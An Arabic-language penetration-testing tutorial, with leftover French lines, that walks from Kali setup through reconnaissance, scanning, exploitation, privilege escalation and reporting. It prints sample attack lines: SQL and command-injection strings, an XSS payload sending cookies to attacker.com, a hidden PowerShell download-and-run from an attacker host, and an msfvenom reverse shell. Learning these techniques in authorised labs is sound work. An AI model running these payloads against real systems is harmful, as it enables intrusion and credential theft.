الدليل الكامل لاختبار الاختراق: من المبتدئ إلى الخبير
دليل شامل لاختبار الاختراق للمبتدئين. تعلّم خطوة بخطوة التقنيات والأدوات والمنهجيات الأساسية في اختبار الاختراق، مع أمثلة عملية وتمارين.
InSkillCoach
الدليل الكامل لاختبار الاختراق: من المبتدئ إلى الخبير
مقدمة في اختبار الاختراق
اختبار الاختراق (pentesting) ممارسة أساسية في الأمن السيبراني تقوم على تقييم أمن نظام معلوماتي عبر محاكاة هجمات محكومة. سيرافقك هذا الدليل خطوة بخطوة في تعلّم اختبار الاختراق.
المتطلبات المسبقة والتثبيت
1. تهيئة البيئة
تثبيت Kali Linux
# تنزيل Kali Linux
# 1. زُر https://www.kali.org/downloads/
# 2. نزّل الـISO
# التثبيت على VirtualBox
1. Créez une nouvelle VM
2. Allouez au moins 2GB de RAM
3. 20GB d'espace disque
4. Montez l'ISO et installez
التهيئة الأولية
# تحديث النظام
sudo apt update
sudo apt upgrade -y
# تثبيت الأدوات الأساسية
sudo apt install -y \
nmap \
wireshark \
metasploit-framework \
burpsuite \
dirb \
nikto
2. الخطوات الأولى مع Linux
الأوامر الأساسية
# التنقل
ls # يسرد الملفات
cd # يغيّر الدليل
pwd # يعرض الدليل الحالي
# التعامل مع الملفات
cat # يعرض المحتوى
nano # محرّر نصوص
chmod # يغيّر الأذونات
المرحلة 1: الاستطلاع
1. الاستطلاع السلبي
OSINT (Open Source Intelligence)
# استخدام whois
whois example.com
# DNS Lookup
dig example.com
nslookup example.com
# Google Dorks
site:example.com
filetype:pdf site:example.com
inurl:admin site:example.com
أدوات الاستطلاع
# Maltego
maltego &
# theHarvester
theHarvester -d example.com -b all
# Recon-ng
recon-ng
2. الاستطلاع النشط
فحص المنافذ باستخدام Nmap
# فحص أساسي
nmap -sV target_ip
# فحص خفيّ
nmap -sS target_ip
# فحص كامل مع سكربتات
nmap -sC -sV -p- target_ip -oN scan_results.txt
# فحص UDP
nmap -sU target_ip
تعداد الخدمات
# تعداد SMB
enum4linux target_ip
# تعداد الويب
dirb http://target_ip
nikto -h http://target_ip
المرحلة 2: تحليل الثغرات
1. فحص الثغرات
استخدام Nessus
- تثبيت Nessus
# التنزيل والتثبيت
curl -O https://www.tenable.com/downloads/nessus
dpkg -i Nessus-*.deb
service nessusd start
- التهيئة الأولية
- اذهب إلى https://localhost:8834
- أنشئ حساب مسؤول
- اضبط الفحوصات
OpenVAS
# التثبيت
apt install openvas
gvm-setup
gvm-start
2. تحليل الويب
استخدام Burp Suite
- تهيئة الوكيل (proxy)
Proxy -> Options
- Interface: 127.0.0.1
- Port: 8080
- تهيئة المتصفح
Firefox -> Préférences -> Réseau
- Paramètres proxy manuels
- SOCKS Host: 127.0.0.1
- Port: 8080
اختبارات حقن SQL
-- اختبار أساسي
' OR '1'='1
-- اختبار المصادقة
admin' --
admin' OR '1'='1'--
-- اختبار خطأ
' UNION SELECT NULL--
المرحلة 3: الاستغلال
1. إطار Metasploit
التهيئة الأولية
# بدء Metasploit
msfconsole
# تحديث قاعدة البيانات
msfdb init
db_status
الاستخدام الأساسي
# البحث عن ثغرات
search ms17-010
# تهيئة ثغرة
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS target_ip
exploit
2. استغلال الويب
XSS (Cross-Site Scripting)
// اختبار أساسي
<script>alert('XSS')</script>
// سرقة ملفات تعريف الارتباط
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
// اختبار DOM XSS
javascript:alert(document.domain)
حقن الأوامر
# اختبارات أساسية
; ls
| cat /etc/passwd
`id`
$(whoami)
المرحلة 4: ما بعد الاستغلال
1. تصعيد الامتيازات
Linux Privilege Escalation
# التعداد الأساسي
id
uname -a
cat /etc/passwd
sudo -l
# البحث عن SUID
find / -perm -u=s -type f 2>/dev/null
# Kernel Exploits
searchsploit kernel version
Windows Privilege Escalation
# تعداد Windows
systeminfo
net user
whoami /priv
# PowerShell Empire
powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')
2. الحفاظ على الوصول
إنشاء أبواب خلفية (Backdoors)
# Msfvenom Payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=attacker_ip \
LPORT=4444 \
-f exe \
-o payload.exe
# Listener Metasploit
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST attacker_ip
set LPORT 4444
exploit
المرحلة 5: التوثيق وإعداد التقارير
1. توثيق الاختبارات
هيكل التقرير
1. Résumé Exécutif
2. Méthodologie
3. Résultats Détaillés
- Vulnérabilités trouvées
- Preuves de concept
- Impact potentiel
4. Recommandations
5. Annexes techniques
2. أدوات إعداد التقارير
# سكربت توليد التقرير
def generate_report():
"""
Structure de base pour un rapport
"""
report = {
'executive_summary': [],
'findings': [],
'recommendations': [],
'technical_details': []
}
return report
تمارين عملية
1. مختبر افتراضي
- تثبيت أجهزة قابلة للاستغلال
- Metasploitable
- DVWA
- WebGoat
2. تحديات تدريجية
- استطلاع أساسي
- فحص المنافذ
- تحديد الخدمات
- استغلال بسيط
- ما بعد الاستغلال
الممارسات الجيدة والأخلاقيات
1. الإطار القانوني
- الحصول على تصاريح مكتوبة
- احترام النطاق المحدَّد
- توثيق الإجراءات
2. الأمان
- Isolation du laboratoire de test
- Chiffrement des données sensibles
- Nettoyage post-test
موارد التعلّم
1. منصات التدريب
- HackTheBox
- TryHackMe
- VulnHub
- PortSwigger Web Security Academy
2. الشهادات المُوصى بها
- CompTIA Security+
- CEH (Certified Ethical Hacker)
- OSCP (Offensive Security Certified Professional)
- PNPT (Practical Network Penetration Tester)
الخاتمة
اختبار الاختراق مجال واسع يتطلّب ممارسة مستمرة. أهم النقاط التي يجب تذكّرها:
- ابدأ بالأساسيات
- تمرّن في بيئة محكومة
- وثّق كل شيء
- التزم بالأخلاق والقانون
- واصل التعلّم
ملاحظة أمنية: هذا الدليل مُخصَّص لأغراض تعليمية فقط. يجب ممارسة جميع التقنيات في بيئة مختبر محكومة وبالتصاريح المناسبة.
نبذة عن InSkillCoach
خبير في التدريب والتقنيات
مدرّب متخصص في التقنيات المتقدمة والذكاء الاصطناعي، تدعمه شركة GNeurone Inc.
الشهادات:
- AWS Certified Solutions Architect – Professional
- شهادات Google Cloud
- Microsoft Certified: DevOps Engineer Expert
- Certified Kubernetes Administrator (CKA)
- CompTIA Security+
التعليقات
التعليقات مدعومة عبر GitHub Discussions
سجّل الدخول باستخدام GitHub للمشاركة في النقاش